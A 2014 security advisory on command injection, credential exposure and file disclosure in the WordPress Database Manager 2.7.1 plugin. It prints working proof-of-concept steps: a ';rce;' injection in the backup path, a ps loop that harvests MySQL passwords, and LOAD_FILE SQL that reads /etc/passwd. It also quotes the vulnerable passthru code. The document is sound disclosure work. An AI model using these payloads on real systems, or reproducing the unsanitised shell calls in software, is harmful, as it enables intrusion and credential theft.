WordPress Database Manager 2.7.1 Command Injection / Credential Leak

`Title: Vulnerabilities in WordPress Database Manager v2.7.1  
Author: Larry W. Cashdollar, @_larry0  
Date: 10/13/2014  
Download: https://wordpress.org/plugins/wp-dbmanager/  
Downloads: 1,171,358  
Vendor: Lester Chan, https://profiles.wordpress.org/gamerz/  
Contacted: 10/13/2014, Vulnerabilities addressed in v2.7.2.  
Full Advisory: http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-dbmanager-2.7.1/index.html  
CVE: 2014-8334,2014-8335  
OSVDBID: 113508,113507,113509  
  
Description: "Allows you to optimize database, repair database, backup database, restore database, delete backup database , drop/empty tables and run selected queries. Supports automatic scheduling of backing up, optimizing and repairing of database."  
  
Vulnerability: Plugin suffers from command injection, exposes MySQL database credentials to the process table and allows the user to download system files via the ‘Run SQL Query’ feature. User authentication with current_user_can('manage_database')) privileges are required. The full advisory has screen shots for illustration.   
  
PoC  
  
Command Injection  
  
The command that is sent through passthru() is the following:  
  
  
/usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere"   
--default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db\';rce;\'/1413225588_-_wordpress.sql  
  
  
rce is just a homebrew .c binary I wrote for testing command injections it creates a file  
in /tmp with some stats on who executed it.  
  
  
# cat /tmp/RCE_JChl9c   
ARGGHHH I've been executed! my pid is :16169 Parent id 16168   
Name: sh  
State: S (sleeping)  
Tgid: 16168  
Pid: 16168  
PPid: 15925  
TracerPid: 0  
Uid: 33 33 33 33  
Gid: 33 33 33 33  
FDSize: 32  
Groups: 33   
  
  
  
  
In the following lines commands can be injected into the variables being used to build  
the command by using ;command;  
  
  
$backup['filepath']   
$backup['mysqldumppath']  
  
  
I use $backup[‘filepath’] or “Path To Backup:” for my PoC.  
  
  
/usr/share/wordpress/wp-content/backup-db;rce;  
  
  
Saving and then Running a backup executes /usr/bin/rce, the command that is sent through passthru() is the following:  
  
  
/usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere"   
--default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db;rce;/1413225588_-_wordpress.sql  
  
  
rce is just a homebrew .c binary I wrote for testing command injections, it creates a file  
in /tmp with some stats on who executed it.   
  
  
# cat /tmp/RCE_JChl9c   
ARGGHHH I've been executed! my pid is :16169 Parent id 16168   
Name: sh  
State: S (sleeping)  
Tgid: 16168  
Pid: 16168  
PPid: 15925  
TracerPid: 0  
Uid: 33 33 33 33  
Gid: 33 33 33 33  
FDSize: 32  
Groups: 33   
  
  
Mysql Credentials Leaked to Process Table  
  
  
Also by running a simple script:  
PoC:  
$ while (true); do echo -n `ps ax | grep m[y]sqldump`; done  
  
  
6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? R 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? S 0:00 /usr/bin/mysqldump --force --host=localhost --user=root --password=x xxxxxx --default-character-set=utf8 --add-drop-table --skip-lock-tables wordpress6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? S 0:00 /usr/bin/mysqldump --force --host=localhost --user=root --password=x xxxxxx --default-character-set=utf8 --add-drop-table --skip-lock-tables wordpress  
  
  
A malicious local user can harvest credentials for the mysql database off the process table.  
  
  
The trouble is the code doesn’t properly sanitize user input and is being passed directly to passthru or system depending on which OS you’re using.  
  
  
In wp-dbmanager.php:  
86 $backup['command'] = '';  
87 $brace = (substr(PHP_OS, 0, 3) == 'WIN') ? '"' : '';  
88 if(intval($backup_options['backup_gzip']) == 1) {  
89 $backup['filename'] = $backup['date'].'_-_'.DB_NAME.'.sql.gz';  
90 $backup['filepath'] = $backup['path'].'/'.$backup['filename'];  
91 $backup['command'] = $brace.$backup['mysqldumppath'].$brace.' --force --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].' --add-drop-table --skip-lock-tables '.DB_NAME.' | gzip > '.$brace.$backup['filepath'].$brace;  
92 } else {  
93 $backup['filename'] = $backup['date'].'_-_'.DB_NAME.'.sql';  
94 $backup['filepath'] = $backup['path'].'/'.$backup['filename'];  
95 $backup['command'] = $brace.$backup['mysqldumppath'].$brace.' --force --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].' --add-drop-table --skip-lock-tables '.DB_NAME.' > '.$brace.$backup['filepath'].$brace;  
96 }  
97 execute_backup($backup['command']);  
  
  
  
211 ### Executes OS-Dependent mysqldump Command (By: Vlad Sharanhovich)  
212 function execute_backup($command) {  
213 $backup_options = get_option('dbmanager_options');  
214 check_backup_files();  
215 if(substr(PHP_OS, 0, 3) == 'WIN') {  
216 $writable_dir = $backup_options['path'];  
217 $tmpnam = $writable_dir.'/wp-dbmanager.bat';  
218 $fp = fopen($tmpnam, 'w');  
219 fwrite($fp, $command);  
220 fclose($fp);  
221 system($tmpnam.' > NUL', $error);  
222 unlink($tmpnam);  
223 } else {  
224 passthru($command, $error);  
225 }  
226 return $error;  
227 }  
  
  
In database-manage.php:   
46 if(stristr($database_file, '.gz')) {  
47 $backup['command'] = 'gunzip < '.$brace.$backup['path'].'/'.$database_file.$brace.' | '.$brace.$backup['mysqlpath'].$brace.' --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].$backup['charset'].' '.DB_NAME;  
48 } else {  
49 $backup['command'] = $brace.$backup['mysqlpath'].$brace.' --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].$backup['charset'].' '.DB_NAME.' < '.$brace.$backup['path'].'/'.$database_file.$brace;  
50 }  
51 passthru($backup['command'], $error);  
  
  
  
  
File Downloads  
In the ‘Sql Run Query’ Panel only a few queries are allowed (Use Only INSERT, UPDATE, REPLACE, DELETE, CREATE and ALTER statements.) but these are suffiecient to download sensitive system files:  
CREATE TABLE password (passwords varchar(8096));  
  
  
INSERT into password (passwords) VALUES(LOAD_FILE(‘/etc/passwd’));  
  
  
Then run a database backup, and download the backup file or send via email.   
  
  
From 1413409573_-_wordpress.sql:  
  
  
INSERT INTO `password` VALUES ('root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\nsys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/var/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/spool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:proxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh\nbackup:x:34:34:backup:/var/backups:/bin/sh\nlist:x:38:38:Mailing List Manager:/var/list:/bin/sh\nirc:x:39:39:ircd:/var/run/ircd:/bin/sh\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh\nnobody:x:65534:65534:nobody:/nonexistent:/bin/sh\nlibuuid:x:100:101::/var/lib/libuuid:/bin/sh\nDebian-exim:x:101:104::/var/spool/exim4:/bin/false\nstatd:x:102:65534::/var/lib/nfs:/bin/false\nsshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin\npostgres:x:104:108:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash\nlarry:x:1000:1000:larry,,,:/home/larry:/bin/bash\nmysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false\nmessagebus:x:106:110::/var/run/dbus:/bin/false\n');  
/*!40000 ALTER TABLE `password` ENABLE KEYS */;  
`